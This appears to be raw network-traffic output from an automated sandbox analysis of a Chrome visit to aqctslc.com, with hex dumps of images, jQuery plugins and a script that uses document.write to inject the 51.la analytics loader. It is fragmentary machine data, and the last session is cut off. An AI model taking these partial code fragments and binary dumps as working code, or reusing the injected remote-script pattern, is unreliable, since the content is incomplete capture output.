2025-01-09 23:51:37 UTC	11837	IN	Data Raw: 74 68 69 73 2e 70 72 65 76 69 6f 75 73 26 26 28 67 26 26 28 62 3d 74 68 69 73 2e 63 6f 72 65 2e 63 6f 6f 72 64 69 6e 61 74 65 73 28 74 68 69 73 2e 70 72 65 76 69 6f 75 73 29 2d 74 68 69 73 2e 63 6f 72 65 2e 63 6f 6f 72 64 69 6e 61 74 65 73 28 74 68 69 73 2e 6e 65 78 74 29 2c 64 2e 6f 6e 65 28 61 2e 73 75 70 70 6f 72 74 2e 61 6e 69 6d 61 74 69 6f 6e 2e 65 6e 64 2c 63 29 2e 63 73 73 28 7b 6c 65 66 74 3a 62 2b 22 70 78 22 7d 29 2e 61 64 64 43 6c 61 73 73 28 22 61 6e 69 6d 61 74 65 64 20 6f 77 6c 2d 61 6e 69 6d 61 74 65 64 2d 6f 75 74 22 29 2e 61 64 64 43 6c 61 73 73 28 67 29 29 2c 66 26 26 65 2e 6f 6e 65 28 61 2e 73 75 70 70 6f 72 74 2e 61 6e 69 6d 61 74 69 6f 6e 2e 65 6e 64 2c 63 29 2e 61 64 64 43 6c 61 73 73 28 22 61 6e 69 6d 61 74 65 64 20 6f 77 6c 2d 61 Data Ascii: this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated owl-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49776	172.67.74.191	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	401	OUT	GET /images/img_678003710aa442.93325130.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	977	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: image/jpeg Content-Length: 117451 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:12:17 GMT x-rgw-object-type: Normal ETag: "3709aa2a5d4030e3443426ab3d602b27" x-amz-request-id: tx000001cccf3c5b3fd286d-0067806109-5b2857-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MuUrKzciT3e9fo5WDwmDPJOjXlmYztbWuHePi%2BbMkmRrbRM%2BVPKQ4gG7b0rbvfsHSlojL84KtiPHu9qa4V40XbFBOm0UVpv0GRfT1athnO9auZYvmCq%2FI0%2BwYa%2FKmvkkXvBAi0OeKBltb06dDn9tnHso4haQYGS3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff856181f7141e6-EWR server-timing: cfL4;desc="?proto=TCP&rtt=3783&min_rtt=1614&rtt_var=4757&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2481&recv_bytes=983&delivery_rate=1809169&cwnd=183&unsent_bytes=0&cid=26c883ec78b1f814&ts=1217&x=0"
2025-01-09 23:51:37 UTC	392	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 03 3a 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIFHH>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222:8"
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: ca bf 55 06 b3 d9 99 59 95 8e 48 38 3c d2 07 71 d1 8d 57 d4 20 47 f6 ed 54 f5 45 a7 f0 de e1 fb 9b e8 9b d0 30 22 a9 cd e1 dd 49 06 56 34 95 7d 63 71 52 09 e4 07 86 22 a4 4b fb 84 e8 e6 b3 96 5c ba 1d 14 f8 83 f9 91 83 75 6b 73 6e 71 34 12 27 d5 48 ac d9 db 20 d7 76 9a d4 bb 76 ca 82 45 ee 08 04 55 7b 8b 2d 0f 53 04 49 09 b6 90 ff 00 1c 67 1f fd 6a e5 ab 97 cd 6c 7a 54 33 ba 33 dd 9e 6b 73 de a8 91 c9 ae d3 55 f0 55 ea 23 4d a7 ca 97 91 f5 da 0e 1c 57 1f 3c 52 41 2b 47 34 6d 1b 83 82 ac 08 22 bc ca b4 67 0d d1 ec d1 c4 53 a9 f0 b2 31 4f 5a 6d 28 ae 73 a4 78 a5 cd 33 34 16 a0 07 16 a6 e7 14 d2 78 34 c2 d4 01 21 6a 42 f5 16 ea 69 7a 60 4a 5e 90 b5 42 5a 8d d4 08 93 75 1b aa 3c d2 03 40 12 ee a4 cf 14 d1 4b 40 08 69 00 a5 34 82 80 11 a9 86 a4 35 1b 53 10 de Data Ascii: UYH8<qW GTE0"IV4}cqR"K\uksnq4'H vvEU{-SIgjlzT33ksUU#MW<RA+G4m"gS1OZm(sx34x4!jBiz`J^BZu<@K@i45S
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 9a 31 4c 02 8a 28 a6 21 a6 98 69 e6 9a 68 19 1b 53 0d 48 c2 98 68 11 1b 1e 2a 26 eb 52 91 50 9e b4 c0 43 48 69 49 a2 a8 40 29 71 40 a7 0a 04 00 53 d5 69 05 74 7e 19 f0 cc 9a dc 86 79 c9 8b 4f 8c e1 e4 ee e7 fb ab fe 35 74 e9 ca 6e c8 ca ad 58 d3 8f 34 8a fa 17 87 ae 75 b9 89 53 e4 da a7 fa c9 c8 e0 7b 0f 53 5e 83 6e 6c f4 4b 01 6d a5 c0 42 13 86 98 82 77 1f 73 de b6 3c 39 a3 45 ab de fd 9e 35 54 d2 ac 80 06 34 e8 e7 fb a7 f9 9a ee 35 b1 69 63 e1 eb b6 78 23 f2 62 84 e1 76 8c 74 af 4a 12 a7 85 9a 85 b9 a5 d4 f1 ea 42 b6 32 9c aa 29 72 c5 6c 79 1b 4a f2 b6 e6 62 4f a9 a0 53 00 20 73 4e 1c d7 d1 d9 58 f8 99 dd bd 49 29 45 34 52 e6 91 90 ea 5a 4a 05 21 0e a2 93 34 b4 08 33 4b 9a 4a 5a 40 19 a3 3c 63 03 d7 34 62 8c 50 02 1a 28 27 34 50 02 62 90 d3 8d 34 d3 18 Data Ascii: 1L(!ihSHh*&RPCHiI@)q@Sit~yO5tnX4uS{S^nlKmBws<9E5T45icx#bvtJB2)rlyJbOS sNXI)E4RZJ!43KJZ@<c4bP('4Pb4
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: d4 94 00 98 a3 14 b8 a5 a0 42 6d a5 2b 4a 29 e0 50 04 45 6a 32 39 ab 25 6a 26 1d 68 02 3c 54 81 73 cd 37 1c d4 aa 38 14 08 8d 97 8a 4d b5 2b 0a 6e 28 18 dd bc 53 94 51 8a 76 28 01 c0 51 b7 26 94 0c 52 81 cd 00 28 5a 29 c3 8a 29 5c 65 79 22 c9 a8 9a 2a ba eb cd 46 cb 9a cc b2 93 47 4d f2 cd 5b 2b 4d d9 4c 0a e2 33 4f 09 53 84 a7 85 a0 2c 42 10 fa 53 82 11 53 84 a5 db 48 65 6c 62 8a b1 b7 da 90 27 b5 00 41 40 a9 ca 7b 52 ec 14 01 0d 2d 4d b0 7a 51 b0 52 02 31 48 c6 a4 d9 c5 31 96 80 21 63 93 4d 07 34 e2 94 81 29 80 f0 d8 a9 15 f8 a8 82 d3 f6 9c 53 01 fb e9 ca d5 16 d3 4a 01 a0 09 83 53 83 54 1c d3 86 68 19 30 6a 5d d5 10 cd 38 1a 04 48 0d 38 1a 88 53 81 a4 04 9b a9 19 b8 a6 e6 98 5a 90 87 16 a3 76 2a 32 69 33 48 44 8c f5 19 a3 39 a4 3d 28 01 28 a2 93 34 c0 Data Ascii: Bm+J)PEj29%j&h<Ts78M+n(SQv(Q&R(Z))\ey"FGM[+ML3OS,BSSHelb'A@{R-MzQR1H1!cM4)SJSTh0j]8H8SZv2i3HD9=((4
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: e8 b5 ad 28 39 cd 44 ca ac d4 22 e4 75 77 70 c5 a1 68 76 ba 3d b6 31 1a fc ed fd e3 dc fe 75 84 cd 93 5a 5a dc c6 5b f7 04 e7 68 c7 e3 59 44 f3 9a fb 4c 25 35 4e 92 48 fc ff 00 1b 55 d6 af 26 c7 ac 9e 5b ac 98 ce d6 0d f9 57 af 5d 78 a2 da 06 82 3b 68 26 bb 67 74 46 68 57 29 1e 7a ee 6e 9c 0e 71 5c de 81 e0 04 95 63 ba d5 d8 b2 90 18 5a 8e 9f f0 2f 5a c5 f1 a7 89 75 06 d1 35 9b 5d 26 3f 2e 2b 67 16 d0 24 03 0c 39 20 b7 e4 0d 78 59 96 26 96 22 ac 61 0d 6c 7d 36 4d 84 ab 86 a5 29 cf 4b 9a 5e 2f d4 6d af 7c 4c 90 c4 cb 20 b1 8c f9 98 39 f9 b1 bb 1f 90 15 c8 bb 99 1c b9 3c b1 c9 35 9d a0 a3 58 e9 76 e1 89 32 32 ee 90 b9 39 66 6e b9 f5 eb 5b b7 ed 66 6d ec 7e ca 14 39 80 19 c8 cf df cd 7b 38 6a 7e c2 11 85 af a7 fc 13 e7 71 d3 f6 f5 aa 54 ec ff 00 e0 14 85 38 Data Ascii: (9D"uwphv=1uZZ[hYDL%5NHU&[W]x;h&gtFhW)znq\cZ/Zu5]&?.+g$9 xY&"al}6M)K^/m\|L 9<5Xv229fn[fm~9{8j~qT8
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 39 cb 11 93 fa 9a fb 0a 51 54 d4 52 95 d5 8f 80 c5 4b da 4a 4f 96 ce e4 14 b5 22 41 2b b0 0b 13 92 7b 05 26 91 e3 78 ce 1d 4a 9f 42 08 35 bf 3c 7b 9c 6e 12 5a d8 65 2e 68 a4 c5 3b 93 61 73 46 69 b9 c1 a2 8b 0a c3 b3 49 ba 92 8e b4 58 76 2d cb 2c 4c 22 2a 08 3b 7f 78 47 42 79 a6 89 49 da a4 90 a0 f4 f4 aa e4 90 30 41 04 75 04 52 a9 3d 6a 39 15 81 ef 72 d4 fb 56 56 31 96 f2 c9 c2 86 ea 45 42 72 0f 35 13 48 77 72 49 a0 16 63 80 32 c7 80 3d 68 51 e5 41 cb cc f4 3a 2f 0f f8 7e e7 5b 90 ba b8 8a dd 0e 1e 4c 64 9f 61 ef 5e 83 69 e1 ad 2a c9 07 fa 32 48 cb fc 72 e1 8f eb 56 74 7d 3e 3d 2f 4b b7 b4 8c 7d c4 1b 8f 72 dd cf e7 59 7e 24 d5 ed 74 a9 e0 7d 45 58 d9 14 6c e5 37 2e fc 8c 6e af 94 c5 63 6a 56 9b b3 b2 3e ef 01 95 d1 c3 d3 4e 51 bc ba b6 6c 7f 67 58 ba ff Data Ascii: 9QTRKJO"A+{&xJB5<{nZe.h;asFiIXv-,L";xGByI0AuR=j9rVV1EBr5HwrIc2=hQA:/~[Lda^i2HrVt}>=/K}rY~$t}EXl7.ncjV>NQlgX
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: c3 9e fa 7a 98 55 c7 51 a5 37 0e 5d 7d 0f 70 89 a3 96 35 92 3d a5 18 65 48 1d 45 36 58 ad e5 1b 64 8e 36 1e 8c 01 a2 da 3f 22 d2 28 8f f0 20 5f c8 57 93 ea de 36 ba b7 d6 6e e3 4b cb 74 8e 39 4a 85 64 dd d2 b9 b0 d8 6a 95 e4 e3 07 b1 d3 8a c4 d2 c3 c1 4a 6b 73 d3 24 d0 b4 89 8e 64 d3 ad 58 fa f9 4b 55 e4 f0 9e 87 28 c1 d3 e2 5f f7 3e 5f e5 5e 6a bf 12 26 4f f5 92 5a bf d1 5c 7f 5a b1 1f c5 25 53 86 48 fe ab 33 0f e9 5d bf 50 c6 47 e1 7f 89 c3 f5 dc 0c fe 28 7f e4 a7 6b 27 80 b4 27 fb b1 4c 9f 49 5b fa d5 19 3e 1c 58 b1 cc 77 b7 09 ec 40 6a c7 87 e2 9d a1 fb db 81 f4 12 29 fe 78 ad 28 3e 24 69 d2 63 32 30 fa a6 7f 91 a3 93 31 87 57 f9 89 c7 2c 9e f1 4b e5 62 bc ff 00 0d e7 1f ea 35 04 61 fe dc 64 7f 23 59 b3 f8 0b 5a 8b 26 35 82 61 fe cb e3 f9 8a eb 21 f1 Data Ascii: zUQ7]}p5=eHE6Xd6?"( _W6nKt9JdjJks$dXKU(_>_^j&OZ\Z%SH3]PG(k''LI[>Xw@j)x(>$ic201W,Kb5ad#YZ&5a!
2025-01-09 23:51:37 UTC	1369	IN	Data Raw: 48 09 96 a4 53 50 86 a7 86 a4 04 c0 d4 8a 6a 0d dc f5 a7 a9 a4 22 c0 35 20 6c 0a ae ad 52 03 9a 40 4a 5a 93 34 83 9a 91 53 34 08 67 5a 70 19 a9 56 13 53 2c 3e d4 0c 81 63 a9 96 2f 6a b3 1c 19 03 8a 99 20 f6 a2 e3 b1 51 62 f6 a9 d2 0a b6 b0 73 d2 a7 58 30 3a 54 dc ae 52 9a c0 3d 2a 55 83 da ae 2c 5e d5 20 87 8a 57 1d 8a 62 1f 6a 95 21 f6 ab 4b 0e 7b 54 82 1f 6a 43 b1 5d 22 cf 6a 95 61 ab 2b 0d 48 23 f6 a9 0b 15 7c 9a 3c 8a ba 22 f6 a3 ca a0 76 29 79 3e d4 86 1f 6a bd e5 fb 52 18 e8 1d 8c f6 86 a2 30 f3 d2 b4 4c 54 cf 27 9e 94 0a c7 1d ad 37 94 f7 b8 60 33 1c 71 81 9e 4e 4e 4f f2 aa d2 86 58 60 52 08 f9 41 5c f7 1c 51 ae ba 7f c2 46 c9 2f fa a4 20 3f d0 81 cd 2e a0 ae 8c 10 c8 1d 22 1b 51 87 42 a3 a5 7d d6 55 1e 5c 3c 51 f1 79 9b e6 c4 3b f7 20 66 cc 84 e6 Data Ascii: HSPj"5 lR@JZ4S4gZpVS,>c/j QbsX0:TR=*U,^ Wbj!K{TjC]"ja+H#\|<"v)y>jR0LT'7`3qNNOX`RA\QF/ ?."QB}U\<Qy; f
2025-01-09 23:51:37 UTC	944	IN	Data Raw: 63 c9 c2 c3 f7 9a 90 78 81 0c 7a e5 cc 64 60 a9 03 f4 15 45 4e 31 57 fc 43 e6 9d 6e 76 98 62 47 3b d8 7a 13 9a ce 15 f1 95 bf 88 cf ad 87 c2 89 d4 d4 aa dd 2a b2 9a 91 5a b2 2c b4 1e a4 0d c5 56 57 a9 03 f1 48 09 73 46 6a 3d d4 16 a0 63 f3 4c 3d 69 09 a6 e6 81 0e 34 98 a0 1a 5c 50 01 8a 31 4b 8a 28 18 84 52 1c 52 9a 28 01 05 3f 14 d0 29 c0 50 02 62 93 1c d3 b1 48 41 a0 06 62 80 38 a7 6c 34 6d 34 80 6e 29 71 46 d3 4b 8a 00 6e 29 0d 3b a5 34 9a 00 30 29 40 a4 ef 4e cd 00 28 14 e0 29 b9 a7 50 03 a8 a4 cd 19 a0 02 83 49 9a 4c d0 02 e6 93 34 dc e0 d2 6e a0 09 33 4d 26 9b ba 90 b7 b5 31 0e 2d 4d a6 96 a0 1e 69 81 20 e6 9e b4 c0 69 f4 00 13 49 9a 08 cd 26 31 40 0b 47 34 51 9a 43 14 1a 5a 8f a9 a7 8a 56 00 cd 14 6c 34 50 04 f8 a4 c5 4a 52 93 65 73 5c b2 21 4b 9a Data Ascii: cxzd`EN1WCnvbG;z*Z,VWHsFj=cL=i4\P1K(RR(?)PbHAb8l4m4n)qFKn);40)@N()PIL4n3M&1-Mi iI&1@G4QCZVl4PJRes\!K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49763	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	537	OUT	GET /themes/static/js/appear.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:37 UTC	1856	IN	Data Raw: 37 33 34 0d 0a 2f 2a 0d 0a 20 2a 20 6a 51 75 65 72 79 2e 61 70 70 65 61 72 0d 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 62 61 73 32 6b 2f 6a 71 75 65 72 79 2e 61 70 70 65 61 72 2f 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 6a 71 75 65 72 79 2d 61 70 70 65 61 72 2f 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 62 61 73 32 6b 2e 72 75 2f 0d 0a 20 2a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 4d 69 63 68 61 65 6c 20 48 69 78 73 6f 6e 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 2d 32 30 31 34 20 41 6c 65 78 61 6e 64 65 72 20 42 72 6f 76 69 6b 6f 76 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 Data Ascii: 734/* * jQuery.appear * https://github.com/bas2k/jquery.appear/ * http://code.google.com/p/jquery-appear/ * http://bas2k.ru/ * * Copyright (c) 2009 Michael Hixson * Copyright (c) 2012-2014 Alexander Brovikov * Licensed under the MIT lice

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49777	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:36 UTC	346	OUT	GET /jzwkqucn.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	370	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: application/javascript Content-Length: 7747 Last-Modified: Fri, 27 Dec 2024 11:43:15 GMT Connection: close Vary: Accept-Encoding ETag: "676e92d3-1e43" Expires: Fri, 10 Jan 2025 11:51:37 GMT Cache-Control: max-age=43200 Access-Control-Allow-Origin: * Accept-Ranges: bytes
2025-01-09 23:51:37 UTC	7747	IN	Data Raw: 0a 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 70 29 7b 5c 22 75 73 65 20 73 74 72 69 63 74 5c 22 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 73 3d 77 69 6e 64 6f 77 2c 65 3d 64 6f 63 75 6d 65 6e 74 2c 69 3d 70 2c 63 3d 5c 22 5c 22 2e 63 6f 6e 63 61 74 28 5c 22 68 74 74 70 73 3a 5c 22 3d 3d 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3f 5c 22 68 74 74 70 73 3a 2f 2f 5c 22 3a 5c 22 68 74 74 70 3a 2f 2f 5c 22 2c 5c 22 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 5c 22 29 2c 6e 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5c 22 73 63 72 69 70 74 5c 22 29 2c 72 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 Data Ascii: document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49778	199.91.74.185	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	521	OUT	GET /js-sdk-pro.min.js HTTP/1.1 Host: sdk.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	433	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Cache-Control: no-store Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true via: LA-MEX-queretaro-EDGE1-CACHE6[628],LA-MEX-queretaro-EDGE1-CACHE6[ovl,626],CHN-HElangfang-GLOBAL6-CACHE10[ovl,19] X-CCDN-REQ-ID-46B1: 1046cf08ed6ea1984114f21501a890db
2025-01-09 23:51:38 UTC	15951	IN	Data Raw: 31 30 30 64 0d 0a 2f 2a 21 0a 2a 20 35 31 4c 41 20 41 6e 61 6c 79 73 69 73 20 4a 61 76 61 73 63 72 69 70 74 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 20 4b 69 74 0a 2a 20 6a 73 2d 73 64 6b 2d 70 72 6f 20 76 31 2e 35 38 2e 33 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 2d 32 30 32 32 20 35 31 2e 6c 61 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 65 3d 77 69 6e 64 6f 77 2c 67 3d 65 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 2c 68 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 69 3d 41 28 27 4f 62 6a 65 63 74 27 29 2c 6a 3d 41 28 27 4e 75 6d 62 65 72 27 29 2c 6b 3d 41 28 27 53 74 72 69 6e 67 27 29 2c Data Ascii: 100d/! 51LA Analysis Javascript Software Development Kit* js-sdk-pro v1.58.3* Copyright 2016-2022 51.la All Rights Reserved*/(function(c){'use strict';var e=window,g=e['document'],h=encodeURIComponent,i=A('Object'),j=A('Number'),k=A('String'),
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 5d 28 27 72 76 3a 27 29 2c 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 68 2b 30 78 33 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 68 29 29 2c 30 78 61 29 29 3a 28 66 66 3d 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 45 64 67 65 2f 27 29 29 3e 30 78 30 26 26 70 61 72 73 65 49 6e 74 28 66 69 5b 27 73 75 62 73 74 72 69 6e 67 27 5d 28 66 66 2b 30 78 35 2c 66 69 5b 27 69 6e 64 65 78 4f 66 27 5d 28 27 2e 27 2c 66 66 29 29 2c 30 78 61 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 66 6a 28 66 6b 2c 66 6c 2c 66 6d 29 7b 76 61 72 20 66 6e 2c 66 6f 2c 66 70 2c 66 71 2c 66 72 2c 66 73 2c 66 74 2c 66 75 3d 5b 5d 2c 66 76 3d 5b 5d 2c 66 77 3d 30 78 30 2c 66 78 3d 66 65 28 29 7c 7c 4e 61 4e 3b 66 75 6e 63 74 69 6f 6e 20 66 79 28 Data Ascii: ]('rv:'),parseInt(fi['substring'](fh+0x3,fi['indexOf']('.',fh)),0xa)):(ff=fi['indexOf']('Edge/'))>0x0&&parseInt(fi['substring'](ff+0x5,fi['indexOf']('.',ff)),0xa);}function fj(fk,fl,fm){var fn,fo,fp,fq,fr,fs,ft,fu=[],fv=[],fw=0x0,fx=fe()\|\|NaN;function fy(
2025-01-09 23:51:38 UTC	3691	IN	Data Raw: 74 72 69 62 75 74 65 27 5d 28 27 63 68 61 72 73 65 74 27 2c 27 55 54 46 2d 38 27 29 2c 64 6f 63 75 0d 0a 65 33 63 0d 0a 6d 65 6e 74 5b 27 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 27 5d 28 27 68 65 61 64 27 29 5b 30 78 30 5d 5b 27 61 70 70 65 6e 64 43 68 69 6c 64 27 5d 28 6a 6b 29 2c 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 3f 6a 6b 5b 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 27 63 6f 6d 70 6c 65 74 65 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 7c 7c 27 6c 6f 61 64 65 64 27 3d 3d 6a 6b 5b 27 72 65 61 64 79 53 74 61 74 65 27 5d 29 26 26 6a 69 26 26 6a 69 28 29 3b 7d 3a 6a 6b 5b 27 6f 6e 6c 6f 61 64 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 69 26 26 6a 69 Data Ascii: tribute']('charset','UTF-8'),docue3cment['getElementsByTagName']('head')[0x0]['appendChild'](jk),jk['readyState']?jk['onreadystatechange']=function(){('complete'==jk['readyState']\|\|'loaded'==jk['readyState'])&&ji&&ji();}:jk['onload']=function(){ji&&ji

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49781	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
